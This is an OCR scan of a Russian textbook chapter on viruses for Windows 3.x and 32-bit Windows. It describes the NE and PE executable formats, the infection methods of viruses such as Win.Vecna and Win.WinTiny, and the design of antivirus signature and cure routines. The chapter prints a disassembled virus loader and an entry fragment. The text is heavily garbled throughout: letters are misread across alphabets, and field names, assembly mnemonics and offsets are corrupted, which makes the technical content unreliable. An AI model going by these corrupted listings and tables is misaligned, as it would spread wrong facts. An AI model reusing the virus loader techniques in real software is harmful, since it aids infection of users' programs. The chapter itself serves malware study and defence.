■‘ т с 0  ' ••• К г  -•'•• .М ё-Л

■ ;ПИС:-:*И:-гч ; и : Г: • )Л н - . : ’ ..-;>•• ; г .

' . л 1 8 г. - * Г ЕГ. ?-• Д •ЗБТО Д

м \ : ^  - "  И С ; ' г 'Д ^ ь :и  р Ь  5̂ 9 С- К у

8  ?.' 1: ' * С.у •• 'з ::мв;'. С

7 -  .. , • - :  ;;:•■ ; .м З ' ; ; / р .г :' г  к - >

'1У1‘

'IV; - • -^'/.Л'' : -■ . ч. .' ■1: [ л

+ ~ М \ - !>'. >  - Т ^  '1 »<;.!.ЦС1

: ' ' ;

- ' ■:ч! ■;..;. М

- :Д[- Л - > -  , - . т г '-  "•• г « .....'

' • ■: .' . .* т ' •

1- К : . :■ ':;•• г : . : £  ; 'и - П '  :■ ■
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пе.шойтаЬ с)« ? +23(1 - Снетение таблицн имен импортируемих модулей
пе_1шрт:аь 0* ? +2АИ - Смецение таблици адресов имлортируемьи имен
пе_пгез1:вЬ г<с1 9 +2СП - Омецение таблицн экспортируемйх нерез-х имен
пе_стоуеп1; 0» ? +30П - Количество перемешаемнх точек входа
пе_аНдп Ои ? +32П - Двоичнмй логарифм размера логического секторз
пе_оге8 йм ? +341-1 - Число ресурснмх сегиентов
пе_ехе1:ур ЙЬ 9 +36П - Код операционной оистемн
пе.тХадзохИегз ? +37(1 - Прочие программнме флаги
пе_рге1:т.пипк5 ЙК ? +38И - Смевдение области бьютрой адгрузки
пе_рзедге1;з 0« 9 +ЗАП - Размер области бмстрой загрузки
пе_8»арагеа 9 +ЗСП - Минимальнмй рззмер, вигружаеммй на дис-к

Версию М1пс1о«з .елеоообразно раосматривать как:
Ц/1М_Уегз о ь ? +ЗСГ) - Номер версии Шпйо«з
Ш м_йеуз пь 9 +30М - Номер ревизии Мшбокз
пе_ехруег с)» ? +ЗЕП - Ожидаемач версия « т а о м з

В процессе загрузки в оператавную память попадают только сек- 
ции, на которме разделена программа, и каждая секция размешается 
в отдельном сегменте. Точка входа может располагаться где-то внут- 
ри одной из таких секций.

Кроме заголовка, в служебной части программьт размешаются мно- 
гочисленнне служебние таблици. Их местоположение относительно 
начала этого заголовка в этом же заголовке и указмвается. Единица 
измерения при этом -  логические секторъ1, размер котормх определя- 
ется содержимьш поля «пе_аН§п>. Например, значению 9 в этом поле 
соответствует размер логического сектора 2Л9=512 байтов. Таблиць! 
описьшают структуру №Е-программн и свойства этих структ\фнь1х 
компонентов.

42.1.1. Таблица описания сегментов
Местоположение этой таблицн хранится в поле 4пе_зе§1аЬ» заго- 

ловка, а количество ее «строк» -  в поле -«пе_с5е£». Таблица описмвает 
сегментм, на которне будет разбита программа при загрузке в память, 
причем каждому сегменту соответствует одна «строка>. Все «строки» 
неявно пронумерованн, начиная с 1 . Формат каждой такой «строки»-:
пз_58с 1;ог б'л ? ; ^00 ~ См?швние 8 логич^ских свкторзх от нзчала Фзйлб
пз_с&?в0 ? , +02 -  Рэамео в байтзх
г:8_Пад® а« о ■ +04 -  Битовме атрибути свгмвнта
пъ.гпшаиос ? ■ +-06 -  Рвзервируеная под оегмонт память (если 0, то Ь4 Кб;

Самне важнне битн поля «п«_Йа£5» интерпретируются следую- 
тим образом:

О бит 0: установлен для сегмента данннх и сброшен для сегмента 
кода;



О бит 7: если устаиовлен, то означает признаки «только для чте- 
ния» (если это сегмент даннмх) и «только для исполнения» 
(если это сегмент кода);

О бит 8 : если установлен, то в сегменте присутствуют поля, ко- 
торме требуют настройки загрузчиком программ по таблице 
перемешаеммх ссмлок.

42 .1 2 . Таблица описания перемецаемььх ссмлок
Эта таблица, если она есть, располагается сразу после кодового 

сегмента. Наличие или отсутствие этой таблицм определяется битом 
8  поля «ш_Яа§5» таблицм описания сегментов. Положение таблицм 
перемешаеммх ссьшок легко вмчислить, зная местоположение сег- 
мента (поле «пз зесСог») и его длину (поле «п5_сЬзе§»). Сначала идет 
16-битовое слово, хранявдее количество записей в этой таблице. Затем 
идет сама таблица перемевдаеммх ссмлок с записями следуювдего вида: 
пг_асуре <№ ? , +00 - тип ссилки
пг_Падз с)Ь ? ; <01 -  флаги свойств ссилки (эначенив равно 0 или 4)
пг_зо^г с1* ? ; +02 -  лоложение сснлки в свгмвнтв
пг_звдпо йЬ ? , <04 -  номер свгментэ
пг_ге$ аь ? . +05 - зарвзервировано
пг.епггу сК» 9 ; +06 -  значение ссилки, некоторое снеквние в сегменте

Возможен и второй, альтернативнмй вариант записи:
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лг_8Туре с!Ь 
пг_Пад8 Л  
пг.зоГТ 0« 
П Г_Ш0Й 3» 
пг_ргос 0)*

+00 - тип ссмлки
+01 - флаги свойств сснлки (значение равно 
+02 -  лоложение сснлки в сегменте 
+04 -  номер импортируемого модуля 
+06 -  ординал или смешение имени

Возможнм следуювдие типм ссмлок (поле чпг_5(;зфе>):
0  2 -  1 б-разрядньш селектор сегмента;
0  3 -  32-разрядннй указатель вида «сегментхмевдение»;
О 5 -  16-разрядное смевдение;
О 11 -  48-разрядннй указатель (не документировано);
О  13 -  32-разрядное смевдение (не документировано).
Флаш свойств (поле «пг_йа§5») имеют следуювдее назначение:
О 0 -  внутренняя ссмлка;
О 1 ссмлка на ординал (порядковмй номер) импортируемого 

объекта;
0  2 -  ссмлка на имя импортируемого объекта;
О 3 -  йоа(т§ р о т 1 йхир;
О 4
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Перемехцаемме ссмлки играюг очень важную роль при организа- 
ции межсегментньхх переходов, в том числе и тех, которме происхо- 
дят при обравдении к систелшьш сервисам. Обрашение к сервисам 
может происходить как по порядковому номеру (по ординалу) вм- 
зьгоаемой функции в библиотеке, так и по имени. Насколько можно 
судить по результатам исследования НЕ-программ, входя1дих в дис- 
трибутив Ш т^о^з З.Х, в этой операционной системе второй способ 
или совсем не используется, или используется крайне редко1.

Изучим правила применения перемевдаеммх ссмлок на приме- 
ре организации команд межсегментного перехода. Поскольку аб- 
солютнмй адрес точки перехода становится известен только после 
загрузки программм в память, то код команд «длинной» передачи 
управления

ЙВ ОЕАП

йш ’???
С1м ? ? ? ?

ЯО 09АП
0* ???? 

????

имғ
Нвизэестное смешение 
Неизеестнай оегкент

САИ
Неизвестное смешение 
Неизвесткий сегмент

нуждается в дополнительнои настройке -  в процессе загрузки неоо- 
ходимо поместить на место неизвестнмх смешений и сегментов кон- 
кретнме числовне значения. Чтобм не раздувать размерм таблицм, 
авторм \\71гк1о\у.ч решили сэкономить на ссмлках. Например, если 
в сегменте присутствуют несколько вмзовов одной и той же внешней 
(располагаювдейся в другом сегменте) процедурм, то в таблице име- 
ется «строка» только для описания одной, самой первой такой ссмл- 
ки. Но зато слово смевдения в этой ссмлке указнвает на следуювдую 
сснлку, соответствуютую той же внешней процедуре, та, в свою оче- 
редь, -  на следуюшую... и так далее. пока в слове смевдения не встре- 
тится признак конца цепочки -  слово ОҒҒҒҒЬ:

100Ғ-1 ЭАЕвОЮОиО С311 КьЙМ-Е̂  39 , 3”о фунюдия н ,Д
. 101Б7 9АҒВ0Ю00С са!1  КЕВМЕ1.. 89
. 101ҒА 9АҒҒҒҒ0000 сэ11 КЕРМЕ1. 8Ў ; поеяедняч соапк .э  е цепочге

Таким образом, при запуеке программн Мис1о\У8 по одной «стро- 
ке> таблицм единнм махом настранвает несколько (иногда очень

1 Зато, вероятно. подобннй категоричнъш вмвод не относится к 0 8 /2 .
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много!) сснлок. Разумеется, если в файле присутствует единственное 
обравдение по какой-то внешней сснлке, то значение смевдения сразу 
должно бьпъ ОҒҒҒҒЬ.

42.1.3. Таблици описания импорта
КЕ-программа содержит (см. поле «пе_то<каЪ») список имен 

внешних модулей (например, динамических библиотек), имеювдий 
следуювдий формат:
гз_1еп аЬ N : N -  длина строки
гз.згггпдйЬ  N <3ир (?) ; N символов строки

Также имеется вспомогательная таблица (см. поле «пе_ппр1аЬ»), 
содержавдая 16-битовне смевдения этих имен относительно начала 
таблицн. Это сделано для ускорения работн загрузчика МЕ-программ 
в память. Вьшолняя свою работу, загрузчик сканирует таблицу пере- 
мевдаемнх сснлок, и если обнаруживаег запись, сснлаювдуюся на 
какой-либо внешний объект, то извлекает из нее индекс модуля, со- 
державдего этот объект, по индексу сразу находит в таблице описания 
импорта конкретное имя (например, «КЕЮ^ЕЬ») и по порядковому 
номеру (по ординалу) этого объекта в этом модуле помевдает в нуж- 
ную ячейку памяти нужннй адрес.

4.2.2. Организация вирусов для УУтйожз ЗХ
Ввиду своей малочисленносги почти все вирусн для Шшкгоге ЗХ 
в чем-то оригинальнн и, как правило, содержат особенности, отли- 
чаювдие их от «сородичей». Но и какие-то обвдие чертн в них, конеч- 
но, наблюдаются.

Прежде всего большинство таких вирусов (но не все!) для внпол- 
нения файловьгх операций обравдаются не к \¥ т  АР1, а к сервисам 
МЗ-ЭОЗ (прернвание 21Ь).

Другая обвдая черта заключается в том, что вирусн, как правило, 
сильно стесненн в пространстве под свои временнне переменнне. 
Точнее, им крайне нежелательно использовать сегмент данннх зара- 
жаемой программн. Поэтому они либо размевдают свои временнне 
даннне в стеке, либо внделяют для своих служебннх нужд в систем- 
ной памяти специальннй сегмент, пользуясь для этого сервисами 
БРМ1 (прернвание31Ь).

Наконец, получение управления обнчно производится коррекци- 
ей значения 32-битового поля «пе_сз1р» в КЕ-заголовке. Это поле со- 
стоит из двух независимьк 16-битовнх фрагментов: в одном из них
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хранится индекс (порядковнй номер в таблице сегментов) лрограмм- 
ной секции, соответствуюшей кодовому сегменту, а в другом -  сме- 
шение точки входа внутри этого сегмента. Таким образом, «програм- 
ма-минимум»- по обезвреживанию вируса сводится к восстановлению 
прежнего значения этого поля.

Одним из первих (а может бнть, и самнм первмм) вирусом для 
АУтокгоге ЗХ можно считать \¥ш.У1Г_1_4, созданний евде в 1992 году 
неким жителем Голландии по имени Масуд Кафир. По современннм 
понятиям, это бнл «недовирус», так как внедряться в файл и пере- 
хватьшать управление он уже умел, а возврашать управление <жерт- 
ве» -  ехце нет. Поэтому вирус при запуске бнстренько внполнял 
свои «нехорошие» действия, затем удалял себя из файла чжертвн» 
и... просто тихо завершался. Когда же удивленньш и обеспокоенннй 
пользователь пнтался повторно запустить «непослушную »■ програм- 
му, та вполне нормально исполнялась, ведь вируса-то в ней уже не 
бнло.

«Нормальнне» вирусн появились несколько позже. Рассмотрим 
некоторьхе из них.

•Здачювая*
лрограмма

Профёшиа, зарз- 
женмая егируоом
адл.АЕР

Проғрамиа, .яра> 
женнаявирусом 
УУЛ.Тжу

Программа эра- 
жехная вирусом 
тпУеспа

008-загоповок ООЗ-зэголовсж ООв-эагоповок ООб-эагшонж

ООЗ-эаглушка СЮ§-загпушка 005-заспушка □Об-затуижа

ИМоив-эайповм й%х!о*в-загоповсж УУюйоиге-заголоеон
(уееличаннии) \Мгк)о«№-«аг»юаок

Свкция 1 Секция1 Секция 1 Секция 1

.
Свкция ксда I ' Свиэ*«««а I Секциякода

ВЙИГ
|  ̂̂ тгшгпп-|

Секция N I ■ Се*ция N I СохцияМ

1
....

Смциямруеа |1 С в н р Н  | I ЙЧЧ<' '

Рис. 4.9 ❖ Принципу заражения МЕ-программ

Вирусн семейства \\Тп.АЕР (известнне также как \Уш.У1к) внед- 
рялись в К?Е-программу достаточно сложннм образом: они сдвигали 
все секции, расположеннне после секции кодового сегмента, в на-
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правлении к концу файла, расширяли секцию кодового сегмента за 
счет образовавшегося пространства и размевдали там свой код. Со- 
ответственно, при этом приходилось пересчитьшать значения почти 
всех полей МЕ-заголовка и всех служебньпс таблиц. Поскольку ви- 
рус располагался в обшем с программой кодовом сегменте, то пере- 
дача управления чжертве» вьшолнялась элементарно -  при помоши 
команда внутрисегментного ^М Р».

Коллекционньш вирус Шш.Уеспа (он же ̂ Уш.Вопк) пользовался 
тем обстоятельсгвом, что размерн всех секций внравненн на длину 
логического сектора -  она кодируется в поле <пе_аН£п» заголовка и 
обнчно составляет 512 байт. Если в конце кодовой секции оставалось 
по крайней мере 152 неиспользованннх байта, вирус помешал в это 
пространство «загрузчик>, а сам приписьшался к концу файла. По- 
лучив управление, за1рузчик создавал при помовди сервисов БРМ1 
в памяти новнй сегмент, считнвал в него основное тело вируса и, 
наконец, передавал туда управление. Вот листинг <загрузчика>, де- 
монстрируюший приемьт работн с памятью (через ОРМ1-сервисн) 
и с файлами (средствами М З-008), характерньхе не только для \Уш. 
Уеспа, но и для других вирусов:
0Ғ72 ризИа
0Ғ73 я о у  ах, '8 0 ' ; Пароль
0Ғ76 ШТ 21М
0Ғ78 сшр ах, 'Ш(' ; Проверка отэива
0Ғ7В ] г  1ос_Ғ85 ; Вируо уже в памяти
0Ғ70 ризИ
0Ғ7Е риз& ез
0Ғ7Ғ ризИ сз
0Ғ80 са11 зиВ_Ғ92
0Ғ83 1ос_Ғ83:
0Ғ83 рор е$
0Ғ84 рор вз
0Ғ85 1ос_Ғ85;
0Ғ85 рора
0Ғ86 ризП ОООСГт ; Адрес старой точки входа
0Ғ89 гегп ; Возврат управления жертве
0Ғ8А 1ос_Ғ8А:
0Ғ8А айй зр, 2
0Ғ8Э 1ос_Ғ80:
0Ғ80 аОй зр , ОАп
0Ғ90 ]тр  зИогТ 1ос_Ғ83

0Ғ92 зиЬ_Ғ92:
0Ғ92 тоу ах, 50’ Ь ; Сервис ''вмделить блок пзмяти"
0Ғ95 шоу сх, 138ЕИ , «ладшее слово размера блока
0Ғ98 хог Ьх, Ьх ; Старшее слово раэмера блока
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0Ғ9А ризЬ Ьх
0Ғ9В ризЬ сх
0Ғ9С ризИ Ьх
0Ғ90 ризИ сх
0Ғ9Е т !  31Л Внполнить 0РМ1-сервис
ОҒАО ]Ь 1ос_Ғ8А
0ҒА2 риз(\ Вх
ОҒАЗ риз(1 сх
0ҒА4 зиВ ах, ах Сервис 'создать локальнне дескриптори"
0ҒА6 1ВОУ сх, 1 Количество дескрипторов
0ҒА9 1(11: 31(1
ОҒАВ шоу Ьх, ах ВХ селектор дескриптора
ОҒАО тоу ах, 7 Сервис. "'установить базу сегментэ"
ОҒВО рор 0Х
0ҒВ1 рор сх
0ҒВ2 1п1: 31(1 ; При возерате 8Х := селектор
0ҒВ4 гооу ах, 8 Сервис "установить лимит сегмента"
ОҒВ7 рор йх ; Младшее слово лимита сегмента
0ҒВ8 рор сх ; Старшее слово лимита сегмента
0Ғ89 1пг 31И
ОҒВВ яоу ах, 9 ; Сервис "установить права доступа к. сегменту”
ОҒВЕ тоу сх, 0ҒҒ(1 ; Все возможние флаги доступа
0ҒС1 1п1: 31(1
оғсз рор йх
ОҒС4 рор сх
0ҒС5 риз(1 Ьх
0ҒС6 риз(1 ЗОАЛ Адрес в сегменте для передачи управления
0ҒС9 риз(1 йх
ОҒСА риз(1 сх
ОҒСВ люу ах, ОАЬ ; Сервис "скопировать дескриптор” , АХ := копия
ОҒСЕ Ш г 31(1
оғю рор сх
0ҒО1 рор Ох
0Ғ02 яюу Ьх, 8 ; Сервис "установить лимит сегмента "
0ҒО5 хсПд ах, Ьх
0ҒО6 1П1 31(1
0ҒО8 риз(1 Ьх
0ҒО9 са!1 пеаг ртг 1ос_ҒЕ9

ОЬ ' ҒИЕИАМЕ.ЕХЕ ,0 ; Имя зараженного файла
0ҒЕ9 1ос_ҒЕ9
0ҒЕ9 рор Ох
ОҒЕВ рор 05
ОҒЕС люу ах, 3000(1 ; Открьть зараженний файл
ОҒЕҒ 1(ТС 21(1
ОҒҒ1 ]Ь 1ос_Ғ80
ОҒҒЗ хсйд ах, Ьх
ОҒҒ4 шоу ах, 4202(1 ; Переместиться на код вирусного "хвоста"
0ҒҒ7 Л10У сх, 0ҒҒҒҒ(1
ОҒҒА тоу йх, ОҒССОЬ
ОҒҒО 1П1: 21(1
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оғғғ
1001
1002
1004
1007
1009

яоV аГ>, ЗҒП 
рор йз 
хог йх, йх 
тоу сх, 340(1 
тг 21п 
гех.1 ; Вмполнить переход в новнй сегмент

; Длина вирусного "хвоста"

; Читать код вируса в новий сегмент

Самнй простой метод заражения КЕ-программ бнл использован 
в вирусе \¥ 1п.\У1пТ1пу Этот в и р у с  создавал в ф а й л е  дополнительную 
секцню с характеристиками кодового сегмента и р а з м е ш а л  в ней свой 
код. При этом приходилось добавлять к таблице сегментов новую 
<строку>. А в т о р  в и р у с а  п о с т у п и л  оригинально, расширяя э т у  т а б л и -  
цу не «вниз» (что повлекло бм за собой необходимость с д в и г а т ь  и 
пересчитьшать все остальнне служебнне поля и таблицн), а в сто- 
рону начала файла, использовав для расширения небольшой 4 л ю ф г »  
между ^Е-заголовком и началом таблицн. «Люфт» образовнвался 
за счет того, что «верхняя половина» ИЕ-заголовка (включая сигна- 
туру <ИЕ» и некоторне поля) искусственно сдвигалась вирусом на 
8 байтов в сторону М2-заголовка, в область, принадлежашую 0 0 8 -  
заглушке.

4.2.3. Анализ конкретного вируса и разработка 
антивирусннх процедур
Пусть объекгом для наших экспериментов послужит вирус \У т . 
\¥1пТту.Ь. Анализ вируса необходимо начинать с содержимого по- 
лей КЕ-заголовка, расположенного в файле по чнестандартному» 
сметению 88Ь;

О количество сегментов в файле -  3;
О пе_зе£1аЪ=40Ь, следовательно, таблица сегментов в файле рас- 

полагается по смецению 88Ь+40Ь=С8Ь;
О пе_сз1р=30000Ь, следовательно, точка входа располагается 

в 3-м сегменте по смешению 0;
О пе_аИ§п=9, следовательно, длина логического сектора равна 

512 байтов.
Взглянем также на таблицу сегментов:
О сегмент 1 -  содержит код программн, начинается с логического 

сектора 1 и имеет длину 7ССЬ байтов;
О сегмент 2 -  содержит даннне программн, начинается с логиче- 

ского сектора 6 и имеет длину 274Ь байта;
О сегмент 3 -  содержит код вируса, начинается с логического сек- 

тора ОСЬ и имеет длину 2ВВЬ байтов.
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30000: 9С рцзМ
30001: 60 ривИа
30002: 1Е ризИ 03
30003: 06 риз(1 ез
30004: В88616 ЛРОУ ах ,01686
30007: С02Ғ 1п1 02Ғ
30009: 08С0 ог ах.ах
3000В: 7409 .000030016
30000: 07 рор ез
3000Е: 1Ғ рор 65
3000Ғ: 61 рора
30010: 90 рорГ
30011: ЕАООООҒҒҒҒ л̂р 0ҒҒҒҒ:00000
30016:

Рассчитаем положение точки входа в зараженную программу: ви- 
русннй сегмент в файле расположен по адресу 0СЬ*512= 1800Ь, а сме- 
шение первой вирусной команди равно 0. Именно там и расположен 
стартовнй фрагаент вируса, вот он:

Доступнм ли сервисм 
0РН1 ?

Продолжить работу вирусз

Возврат управления "жертве"

Этот фрагмент снабдит нас байтами для сигнатурн, и пусть в нее 
войдут первне 10 байтов фрагмента.

Если посмотреть объективно, то это -  не лучший внбор, по край- 
ней мере для чкоммерческого» антивируса. Дело в том, что исходннй 
текст рассматриваемого вируса бнл первоначально опубликован 
в австралийском вирусописательском электронном журнале <У1ас1», 
а позже бнл воспроизведен в некоторнх печатннх изданиях. Велюса 
вероятность, что если какой-нибудь не особенно трудолюбивнй па- 
костник возьмет этот текст в качестве основн для своего «опуса», то 
начальнне фрагментн «опуса» и оригинала будут совпадать. Тем не 
менее для нас это не принципиально, поэтому в качестве сигнатурн 
примем: «9С 60 1Е 06 В8 86 16 СБ 2Ғ 0В».

Также, анализируя фрагмент, можно прийти к внводу, что в вирусе 
в дальнейшем планируется работа с памятью средствами БРМ1.

Итак, после поверхностного взгляда на приведенннй фрагмент 
загадкой остается лишь одна подробность: адрес перехода на ориги- 
нальннй код «жертвн». По формату командн «^МР» можно заклю- 
чить только, что этот адрес будет помешен на свое законное место в 
процессе загрузки программн в память, и взят будет этот адрес из 
таблицн перемевдаемнх сснлок. Заглянем в <хвост» вирусного сег- 
мента, для этого по файловому адресу 1800Ь+2ОВЬ=1АОВЬ прочи- 
таем 16-битовое слово со значением 1 (это количество перемешаемнх 
сснлок в сегменте) и, наконец, саму сснлку:

О пг_з(:уре=3, следовательно, ссмлка представляет собой пару 
вида {сегментхмешение};
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О пг_Яа§з“04 -  признак «добавляемой» ссмлки;
О пг_5оЯ“ 12Ь -  положение ссьшки в сегменте;
О пг_зе8по=1, следовательно, это ссьшка на кодовнй сегмент 

программн;
О пг_еп(гу=0 -  смевдение в кодовом сегменте, куда направлена 

сснлка.
Таким образом, после загрузки в память команда -^МР» будет ссн- 

латься на смевдение 0 в сегменте 1 (то есть в кодовом сегменте про- 
граммн).

По-прежнему будем считать, что справиться с вирусом помогут две 
процедурн: 1п1есСес1() -  для проверки файла на «заразность», сиге() -  
для удаления вируса из файла.

Первая из процедур должна сделать примерно то же, что мн только 
что внполнили самостоятельно, а именно проанализировать содер- 
жимое КЕ-заголовка, найти точку входа в зараженную программу и 
проверить наличие сигнатурн.

Вторая процедура может бнть реализована по-разному. В простей- 
вдем случае она может просто забить значением 90Ь (это код командн 
«Ж )Р») 17 байтов, начиная от первого байта вируса и до командн 
«^МРк Чуть-чуть более чпродвинутое» лечение заключается в том, 
чтобн восстановить в НЕ-заголовке правильное значение поля, опи- 
снваювдее положение точки входа. Наконец, «программа-максимум> 
заключается в том, чтобн аккуратно «ликвидировать» все изменения, 
привнесеннне вирусом в программннй файл, -  удалить вирусннй 
сегмент, скорректировать таблицу сегментов, «сжать» заголовок и т. д.

Примерн процедур приведенн в приложении.

4.3. Вирусь! а л я  32-разрялнь1х версий 
\Л/1пс1о\л/5

...Они бъиш егце и прекрасни, эти чудовшца! 
Они бьиш настолько стпрашнъс и отвратни, 
что представлялись своего рода совершен- 
ством. Совершенством безобразия.

А. и Б. Стругацкие. «Волнм гасят ветер»

Программнне файлн, имевшие РЕ-формат, появились уже в начале 
90-х годов вместе с \Уш(1от МТ, но долгие годн эта операционная 
система фирмн МгсгозоЙ, очень дорогая и ресурсоемкая, бнла прак-
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тически недоступна широкой компьютерной обвдественности. <Пу- 
тевку в жизнь> РЕ-формат получил благодаря появлению и распро- 
странению в середине 90-х годов гораздо более простой, дешевой и 
демократичной операционной системн \¥ ш(1о\уз 95, на этапе разра- 
ботки и бета-тестирования известной как «проект СЬка§о».

\Уш9Х.Воха (или В̂ хаСсК) -  первнй вирус, заражавший про- 
граммнне файлн РЕ-формата, появился через несколько месяцев 
после внхода официального релиза \№т!отсз 95. Авторство его при- 
надлежит человеку по прозвивду 0иап1ит -  члену австралийской 
вирусописательской группн со вполне славянским наименованием 
«У1ас1». Исходньш текст вируса бнл опубликован в электронном 
журнале с аналогичннм названием. Скомпилированнне вариантн 
вируса и исходнне тексть1 первоначально распространялись только 
между вирусописателями, из рук в руки, но вскоре стали доступнн и 
вирусологам. Следует отметить, что вирус разрабатнвался с исполь- 
зованием особенностей, присувдих бета-версиям \№нк!оте 95, поэто- 
му в «дикой природе» он пракгически не встречался. Но этого от него 
и не требовалось. Он доказал возможность сушествования вирусов 
для 32-разрядньхх версий \У1п«1о\уз, д о  то го  момента отрицавшуюся 
специалистами. Вот как прореагировала на факт создания этого ви- 
руса пресса:

Аи8ТЯА±.Ш4 сотрШ ег Ьаскегз Лаие ЬгоидМ сотриЪег д!аМ Мюго- 
зой'8 уаипТеЬ Ш п ё о т 95 ргодгат 1о Нз \пПиа! кпеев. (Авсгралий- 
ские хакерь! поставили Шпдомз 95, расхваливаемую компьютер- 
ним гигантом МюгозоН, на виртуальние колени.)

Вскоре в «дикую природу» хлннул поток других вирусов, создан- 
ннх другими людьми, но по образу и подобию \Уш9Х.Во2а. Эпоха 
вирусов, рассчитанннх на 32- и 64-разряднне версии \У1пс1о\у5, на- 
чалась и продолжается по сей день.

Всего на момент написания этих строк известно около 2500 таких 
«козявок». Казалось бн, немного, ведь вирусов для М5-ООБ во много 
раз больше. Но ^ п й от-ви русн  гораздо сложней по своей органи- 
зации, для их написания совершенно недостаточно знания десятка- 
другого ассемблерннх команд. Поэтому большинство таких вирусов 
созданн совсем не новичками в программировании. К их услугам под- 
робнне «справочники», «учебники» и «пособия», каковьши можно 
считать содержимое элекгронннх журналов «У1ас1>, ч29А» и «Х1пе», 
циклн статей от ХОтМЕ, Ьогс! ̂ и1из и ВШу Ве1сеЬи и многие-многие 
другие материалн.
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Вирусн для 32- и 64-битових версий \\%<1о\У5 -  сложннй, важннй 
и очень интересннй объект для изучения.

4.3.1. Формат файлов РЕ-программ
Этот формат бнл разработан фирмой М1сгозоЙ; для 32-битовнх \¥ т -  
с!о\У5-программ, а основой для него послужил СОҒҒ-формат испол- 
няемнх файлов, используемнй в 11К1Х. Он применяется в \У1Пс1о\у5 
не только для исполнимнх программ (расширение <.ЕХЕ» или 
«,5СК>), но и для динамических библиотек (расширение «.БЬЬ»), 
компонентов Панели управления (расширение «.СРЬ») и некоторнх 
других объектов.

Программн, оформленнне в РЕ-формате, традиционно представ- 
ляют собой совокупность двух частей, одна из которнх предназначе- 
на для внвода предупреждаювдего сообшения при попнтке запустить 
такую программу в М5-БОЗ, а другая представляет собой соб- 
ственно \У!пс1о\̂ 5-программу [12]. По-прежнему признак \¥тс!о\\’5- 
программн располагается в заголовке БОЗ-программн по смешению 
18Ь, а ссилка на специфический \*Лпс1о\уз-заголовок может бнть най- 
дена по файловому смевдению ЗСЬ.

Согласно фирменной документации от МкгозоЙ;, этот \̂ 1ш1о\У5- 
заголовок разделен на несколько частей, некоторне из которнх 
считаются обязательними, некоторне -  «опциональньши> (то есть 
необязательннми). а некоторие -  «специфичннми» для отдельннх 
версий \Мп<1отуз. Тем не менее программ, в которнх отсутствовали бн 
«необязательнме» фрагментн заголовка, а «специфичнне» имели бн 
какой-нибудь особенний формат, в природе не сувдествует, поэтому 
мь! будем рассматривать заголовок как единое целое.

При описании полей заголовка мн будем использовать термин 
<файловое смевдение» для обозначения указателя на какой-нибудь 
объект внутри программного файла, а аббревиатуру <КУА» (Ке1айуе 
У1Лиа1 Аййгезв -  относительннй виртуальннй адрес) для обозначе- 
ния смеадения какого-либо объекта относительно того адреса, с кото- 
рого программннй образ начинается в памяти. Имена полей заголов- 
ка соответствуют указанннм в файле «\УШКТ.Н».
; Чаоть 1 -  "обязательная" часть заголовка
81длатиге йй ? ; +00П -  Уникэльная сигнатура аида 'РЕ\0\0' (00004550П)
Мас(11пе йм ? ; +04(1 -  Код рекомендуемого процессора
НшпЬегО^Зесиопв йм ? ; +06(1 -  Количество секций в программе
ИшеОагеЗгатр аб 7 : +08(1 -  Дата и время создания программн
Ро1п1:егТо8уаЬо1Таь1е 00 7 , +0С(1 -  Ссмлка на таблицу символов отладочной

информации



230 ❖ Файловье а̂ фусь! в \Мпс)ал/5
ИитЬегОГЗутЬо1з йй ?
512еОГОрг1опа1Неас1ег йм ?

Сяагасиегх&гюа й# ?

+10Ь -  Количество символов отладочной информации 
+14И -  Суммарний размер частей 2-4 РЕ-заголовка 

(ОЕОЬ)
+16Ь -  Флаги характеристик программа

Часть 2 -  "необязательная" часть (однако присутствует всегда)
Мадгс
Ма̂ огИпкегУегзХоп
М1пог11пкегУеГ810п
31геОГСос1е
812еОНпШаНгейОа1:а 
81ге01Ч1пШШИ2ей0а1:а 
АЯОгебзО?ЕпХ гуРо1пг 
ВазеО(“Сос1е

ЙУ*
с)Ь
ЙЬ
йй
йй
йй
бй
йб

аоВазеОШ та
; Часть 3 -  "специфичная' 
Хтадевазе 
ЗесИопАИдпшеШ:
Ғ11еАНдпшеп1: 
МазогОрегаИпдЗузгетУегзмп Лк 
М1пог0рега1:1пдЗузге*\/егз1оп йи

? ; +18Ь -  Тип программного образа ( 10ВП или 20ВЬ)
? ; +1А(1 -  Старшая часть версии компоновцика
? ; +1ВЬ -  Младшая часть версии компоновцика
? ; +1СЬ -  Размер исполняемого кода программи 
? ; +20п -  Размер инициализированнмх данних в программе
? ; +24И -  Размер неинициализированннх данньх в программе
? ; +28(1 -  ЙУА точки входа относительно начала загсшовка
? ; +2СЬ -  ВУА кодовой секции относительно начала 

заюлоька
? ; +30(1 -  ВУА секции данних относительно начала заголовка 

для Шпйомз ИТ часть (однако присутствует и в М1пс1оиз 9Х)
йй ? ; +34И -  Рекомендуемий адрес образа программи в памяти

+38(1 -  Размер логического сектора в памяти
+ЗС(1 -  Размер логического сектора в файле

; +40(1 -  Номер версии рекомендуемой ОС 
; +42(1 -  Номер подверсии рекомендуемой ОС

сИ ? 
сИ ?

Ма;|ог1пшде\/егз1оп й« ? +44(1 - Номер версии программи
М1пог1тадеУегз1ол с1ш ? +46(1 - Номер подверсии программи
Ма1огЗиЬ зузГешУе гз1оп с)м ? +48(1 - Номер версии исполняюшей подсистемм
М1П0гЗиЬзузгешУегз10П ЙУК ? +4А(! - Номер подверсии исполняюцей подсистемм
Шп32Уегз1опУа1ие йй ? +4С(1 - Не используется
81ге0г1таде ЙО ? +50(1 - Полннй размер образа программн в памяти
512еОСНеас1ег8 йй ? +54(1 - Суммарний размер всех заголовков
СйескЗиш йй ? +58(1 - Контрольная сумма байтов файла 

(не используется)
ЗиЬзузхеш йи ? +5СИ - Тип требуемой исполняюшей подсистеми
ОПСЬагасгеазгюз ЙУК ? +5ЕП - Ие иепользуется
ЗиеО^Згаскйезеп/е йй ? +60П - Размер стека с учетом возможного расширения
З^еОТЗгаскСоттН: йй ? +64 П - Первоначальний размер стека
312еОГНеарйезегуе йй ? +68(1 - Размер динамической памяти с учетом 

расширения
З^геО^НеарСоми йй ? +6СЬ - Первоначальний размер динамической памяти
Юас)егҒ1адз ЙЙ ? +70(1 - Не используется
НигоЬегОСЙУаАпйЗ̂ гез ЙЙ ? +74(1 - Количество "строк" в таблице объектов
; Часть 4 - таблица обьектов (можно считать ее частью заголовка)
ЕхроПТаЬ1ей\/А Й0 ? +78Ь - ВУА таблицн экспорта
Ехрог1:ТаЬ1е312е йй ? +7С(1 - Размер таблицм зкспорта
1прог(;ТаЬ1ей\/А йй ? +80(1 - ЙУА таблицн импорта
1трог1:ТаЬе312е йй ? +84Ь - Размер таблици импорта
